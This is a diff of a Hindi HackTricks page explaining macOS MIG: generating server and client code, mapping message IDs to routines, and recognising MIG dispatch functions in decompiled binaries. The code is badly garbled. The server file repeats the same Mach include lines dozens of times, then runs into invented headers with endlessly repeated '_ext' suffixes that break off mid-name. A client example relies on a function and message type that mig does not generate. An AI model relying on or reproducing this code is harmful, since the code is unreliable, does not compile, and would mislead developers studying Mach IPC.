अब mig का उपयोग करें ताकि सर्वर और क्लाइंट कोड उत्पन्न किया जा सके जो एक दूसरे के बीच संवाद करने के लिए सक्षम होंगे और Subtract फ़ंक्शन को कॉल करें:
अब mig का उपयोग करें ताकि सर्वर और क्लाइंट कोड उत्पन्न किया जा सके जो एक दूसरे के भीतर संवाद करने के लिए सक्षम होंगे और Subtract फ़ंक्शन को कॉल करें:
```bash
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
```
वर्तमान निर्देशिका में कई नए फ़ाइलें बनाई जाएंगी।
फ़ाइलों **`myipcServer.c`** और **`myipcServer.h`** में आपको संरचना और परिभाषा मिलेगी **`SERVERPREFmyipc_subsystem`** की, जो मूल रूप से प्राप्त संदेश ID पर कॉल करने के लिए फ़ंक्शन को परिभाषित करत है (हमने 500 की शुरुआती संख्या निर्दिष्ट की है):
फ़ाइलों **`myipcServer.c`** और **`myipcServer.h`** में आप **`SERVERPREFmyipc_subsystem`** संरचना के घोषणा और परिभाषा पाएंगे, जो मूल रूप से प्राप्त संदेश ID पर कॉल करने के लिए फ़ंक्शन को परिभाषित करत है (हमने 500 की शुरुआती संख्या निर्दिष्ट की है):
{% tabs %}
{% tab title="myipcServer.c" %}
@ -70,454 +70,66 @@ myipc_server_routine,
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/mach_error.h>
#include <servers/bootstrap.h>
#include <mach/mach_traps.h>
#include <mach/mach_types.h>
#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_host.h>
#include <mach/mach_time.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/m
#include <mach/mach_interface.h>
#include <mach/mach_vm.h>
#include <mach/mach_voucher_types.h>
#include <mach/mach_voucher.h>
#include <mach/mach_time.h>
#include <mach/mach_host.h>
#include <mach/mach_host_priv.h>
#include <mach/mach_host_server.h>
#include <mach/mach_host_user.h>
#include <mach/mach_host_reboot.h>
#include <mach/mach_host_special_ports.h>
#include <mach/mach_host_info.h>
#include <mach/mach_host_notify.h>
#include <mach/mach_host_security.h>
#include <mach/mach_host_policy.h>
#include <mach/mach_host_qos.h>
#include <mach/mach_host_ledger.h>
#include <mach/mach_host_statistics.h>
#include <mach/mach_host_vm_info.h>
#include <mach/mach_host_vm_priv.h>
#include <mach/mach_host_vm_ext.h>
#include <mach/mach_host_vm_prot.h>
#include <mach/mach_host_vm_behavior.h>
#include <mach/mach_host_vm_region.h>
#include <mach/mach_host_vm_wire.h>
#include <mach/mach_host_vm_purgable.h>
#include <mach/mach_host_vm_info_internal.h>
#include <mach/mach_host_vm_info_external.h>
#include <mach/mach_host_vm_info_internal_ext.h>
#include <mach/mach_host_vm_info_external_ext.h>
#include <mach/mach_host_vm_info_purgable.h>
#include <mach/mach_host_vm_info_purgable_ext.h>
#include <mach/mach_host_vm_info_purgable_internal.h>
#include <mach/mach_host_vm_info_purgable_external.h>
#include <mach/mach_host_vm_info_purgable_internal_ext.h>
#include <mach/mach_host_vm_info_purgable_external_ext.h>
#include <mach/mach_host_vm_info_purgable_internal_ext_ext.h>
#include <mach/mach_host_vm_info_purgable_external_ext_ext.h>
#include <mach/mach_host_vm_info_purgable_internal_ext_ext_ext.h>
#include <mach/mach_host_vm_info_purgable_external_ext_ext_ext.h>
#include <mach/mach_host_vm_info_purgable_internal_ext_ext_ext_ext.h>
#include <mach/mach_host_vm_info_purgable_external_ext_ext_ext_ext.h>
#include <mach/mach_host_vm_info_purgable_internal_ext_ext_ext_ext_ext.h>
#include <mach/mach_host_vm_info_purgable_external_ext_ext_ext_ext_ext.h>
#include <mach/mach_host_vm_info_purgable_internal_ext_ext_ext_ext_ext_ext.h>
#include <mach/mach_host_vm_info_purgable_external_ext_ext_ext_ext_ext_ext.h>
#include <mach/mach_host_vm_info_purgable_internal_ext_ext_ext_ext_ext_ext_ext.h>
#include <mach/mach_host_vm_info_purgable_external_ext_ext_ext_ext_ext_ext_ext.h>
#include <mach/mach_host_vm_info_purgable_internal_ext_ext_ext_ext_ext_ext_ext_ext.h>
#include <mach/mach_host_vm_info_purgable_external_ext_ext_ext_ext_ext_ext_ext_ext.h>
#include <mach/mach_host_vm_info_purgable_internal_ext_ext_ext_ext_ext_ext_ext_ext_ext.h>
#include <mach/mach_host_vm_info_purgable_external_ext_ext_ext_ext_ext_ext_ext_ext_ext.h>
#include <mach/mach_host_vm_info_purgable_internal_ext_ext_ext_ext_ext_ext_ext_ext_ext_ext.h>
#include <mach/mach_host_vm_info_purgable_external_ext_ext_ext_ext_ext_ext_ext_ext_ext_ext.h>
#include <mach/mach_host_vm_info_purgable_internal_ext_ext_ext_ext_ext_ext_ext_ext_ext_ext
```c
/* Description of this subsystem, for use in direct RPC */
extern const struct SERVERPREFmyipc_subsystem {
@ -533,7 +145,7 @@ routine[1];
{% endtab %}
{% endtabs %}
पिछले संरचना के आधार पर, **`myipc_server_routine`** फ़ंक्शन को **संदेश आईडी** मिलेगी और उचित फ़ंक्शन को कॉल करने के लिए वापसी करेगी:
पिछले संरचना के आधार पर, **`myipc_server_routine`** फ़ंक्शन को **संदेश आईडी** मिलेगी और उचित फ़ंक्शन को कॉल करने के लिए वापस लौटाएगी:
```c
mig_external mig_routine_t myipc_server_routine
(mach_msg_header_t *InHeadP)
@ -548,7 +160,7 @@ return 0;
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
}
```
इस उदाहरण में हमने केवल 1 फ़ंक्शन को परिभाषित किया है, लेकिन अगर हम अधिक को परिभाषित करते तो वे **`SERVERPREFmyipc_subsystem`** के एरे के अंदर होते और पहला फ़ंक्शन ID **500** को असाइन किया जाता, दूसरा ID **501** को...
इस उदाहरण में हमने परिभाषाओं में केवल 1 फ़ंक्शन परिभाषित किया है, लेकिन अगर हम अधिक फ़ंक्शन परिभाषित करते तो वे **`SERVERPREFmyipc_subsystem`** के एरे के अंदर होते और पहला फ़ंक्शन **500** आईडी को असाइन किया जाता, दूसरा फ़ंक्शन **501** आईडी को...
वास्तव में, इस संरचना **`myipcServer.h`** के **`subsystem_to_name_map_myipc`** में इस संबंध की पहचान करना संभव है:
```c
@ -557,7 +169,7 @@ return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
{ "Subtract", 500 }
#endif
```
अंत में, सर्वर को काम करने के लिए एक महत्वपूर्ण फ़ंक्शन **`myipc_server`** होगी, जो वास्तव में प्राप्त id के संबंधित फ़ंक्शन को **कॉल करेगी**:
अंत में, सर्वर काम करने के लिए एक महत्वपूर्ण फ़ंक्शन **`myipc_server`** होगी, जो वास्तव में प्राप्त id के संबंधित फ़ंक्शन को **कॉल** करेगी:
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@ -591,7 +203,9 @@ return FALSE;
}
</code></pre>
जेनरेटेड कोड का उपयोग करने के लिए निम्नलिखित कोड की जांच करें जहां क्लाइंट सर्वर से Subtract फ़ंक्शन को कॉल कर सकता है:
पिछले हाइलाइट किए गए लाइनों की जांच करें जहां ID द्वारा कॉल करने के लिए फ़ंक्शन तक पहुंच होती है।
निम्नलिखित में एक सरल **सर्वर** और **क्लाइंट** बनाने के लिए कोड है जहां क्लाइंट सर्वर से फ़ंक्शन Subtract को कॉल कर सकता है:
{% tabs %}
{% tab title="myipc_server.c" %}
@ -625,49 +239,42 @@ return 1;
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
}
```
{% tab title="myipc_client.c" %}
```c
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/message.h>
#include <servers/bootstrap.h>
#include "myipc.h"
int main(int argc, char *argv[]) {
mach_port_t server_port;
kern_return_t kr;
myipc_msg_t msg;
char *message = "Hello, server!";
char reply[256];
// Get the server port
// Look up the server port
kr = bootstrap_look_up(bootstrap_port, "com.example.myipc_server", &server_port);
if (kr != KERN_SUCCESS) {
printf("Failed to get server port: %s\n", mach_error_string(kr));
fprintf(stderr, "Failed to look up server port: %s\n", mach_error_string(kr));
exit(1);
}
// Prepare the message
msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);
msg.header.msgh_size = sizeof(msg);
msg.header.msgh_remote_port = server_port;
msg.header.msgh_local_port = MACH_PORT_NULL;
msg.header.msgh_id = 0;
msg.data = 42;
// Send the message
kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
// Send a message to the server
kr = myipc_send_message(server_port, message, reply, sizeof(reply));
if (kr != KERN_SUCCESS) {
printf("Failed to send message: %s\n", mach_error_string(kr));
fprintf(stderr, "Failed to send message: %s\n", mach_error_string(kr));
exit(1);
}
printf("Message sent successfully\n");
// Print the server's reply
printf("Server replied: %s\n", reply);
return 0;
}
```
{% endtab %}
{% tab title="myipc_server.c" %}
{% endtab %}
```c
// gcc myipc_client.c myipcUser.c -o myipc_client
@ -692,6 +299,9 @@ printf("Port right name %d\n", port);
USERPREFSubtract(port, 40, 2);
}
```
{% endtab %}
{% endtabs %}
### बाइनरी विश्लेषण
बहुत सारे बाइनरी अब MIG का उपयोग करते हैं ताकि मैक पोर्ट्स को उजागर किया जा सके, इसलिए यह देखना दिलचस्प होता है कि **MIG का उपयोग किया गया है या नहीं** और **प्रत्येक संदेश आईडी के साथ MIG द्वारा कार्यान्वित की जाने वाली फ़ंक्शनें** को कैसे पहचानें।
@ -700,7 +310,7 @@ USERPREFSubtract(port, 40, 2);
```bash
jtool2 -d __DATA.__const myipc_server | grep MIG
```
पहले ही बताया गया था कि **प्राप्त संदेश आईडी के आधार पर सही फ़ंक्शन को कॉल करने के लिए देखभाल करेगा** वह फ़ंक्शन `myipc_server` था। हालांकि, आपके पास आमतौर पर बाइनरी के प्रतीक (कोई फ़ंक्शन के नाम नहीं) नहीं होते हैं, इसलिए यह देखना रोचक होता है कि यह डिकंपाइल करने पर कैसा दिखता है क्योंकि यह हमेशा बहुत समान होगा (इस फ़ंक्शन का कोड फ़ंक्शनों से अलग होता है):
पहले ही बताया गया था कि **प्राप्त संदेश आईडी के आधार पर सही फ़ंक्शन को कॉल करने के लिए देखभाल करेगा** वह फ़ंक्शन `myipc_server` था। हालांकि, आपके पास आमतौर पर बाइनरी के प्रतीक (कोई फ़ंक्शन के नाम नहीं) नहीं होते हैं, इसलिए यह देखना रोचक होता है कि यह डिकंपाइल करने पर कैसा दिखता है क्योंकि यह हमेशा बहुत समान होगा (इस फ़ंक्शन का कोड फ़ंक्शनों के प्रदर्शित होने से अलग होता है):
{% tabs %}
{% tab title="myipc_server decompiled 1" %}
@ -718,7 +328,7 @@ if (*(int32_t *)(var_10 + 0x14) &#x3C;= 0x1f4 &#x26;&#x26; *(int32_t *)(var_10 +
rax = *(int32_t *)(var_10 + 0x14);
// इस फ़ंक्शन को पहचानने में मदद करने वाले sign_extend_64 को कॉल करने के लिए
// इसमें rax में वह पॉइंटर स्टोर होता है जिसे कॉल किया जाना चाहिए
// पता करें 0x100004040 (फ़ंक्शनों के पते का एरे) का उपयोग करें
// पता करें कि पता 0x100004040 (फ़ंक्शन पतों का एरे) का उपयोग कैसे किया जाता है
// 0x1f4 = 500 (प्रारंभिक आईडी)
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
</strong> var_20 = rax;
@ -729,7 +339,7 @@ rax = *(int32_t *)(var_10 + 0x14);
var_4 = 0x0;
}
else {
// 2 तर्कों के साथ सही फ़ंक्शन को कॉल करने के लिए गणितीय पता
// 2 तर्कों के साथ सही फ़ंक्शन को कॉल करने के लिए गणना किया गया पता
<strong> (var_20)(var_10, var_18);
</strong> var_4 = 0x1;
}
@ -789,27 +399,17 @@ if (CPU_FLAGS &#x26; NE) {
r8 = 0x1;
}
}
// पिछले संस्करण की तरह समान अगर नहीं तो अगर लौटता है
// पता करें 0x100004040 (फ़ंक्शनों के पते का एरे) का उपयोग करें
// पिछले संस्करण की तरह ही अगर नहीं तो अगर गलत लौटता है, वहीं तो सही फ़ंक्शन को कॉल करता है और सही लौटता है
// पता करें कि पता 0x100004040 (फ़ंक्शन पतों का एरे) का उपयोग कैसे किया जाता है
<strong> if ((r8 &#x26; 0x1) == 0x0) {
</strong><strong> *(var_18 + 0x18) = **0x100004000;
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
}
else {
// गणितीय पते पर कॉल करने के लिए कैलक्यूलेट किया गया पता
<strong> (var_20)(var_10, var_18);
</strong> var_4 = 0x1;
}
}
else {
*(var_18 + 0
</strong> *(int32_t *)(var_18 + 0x20) = 0
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family) देखें
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें,** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके।**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में सबमिट करके।**
</details>

View file

@ -4,9 +4,9 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS क नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS क नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
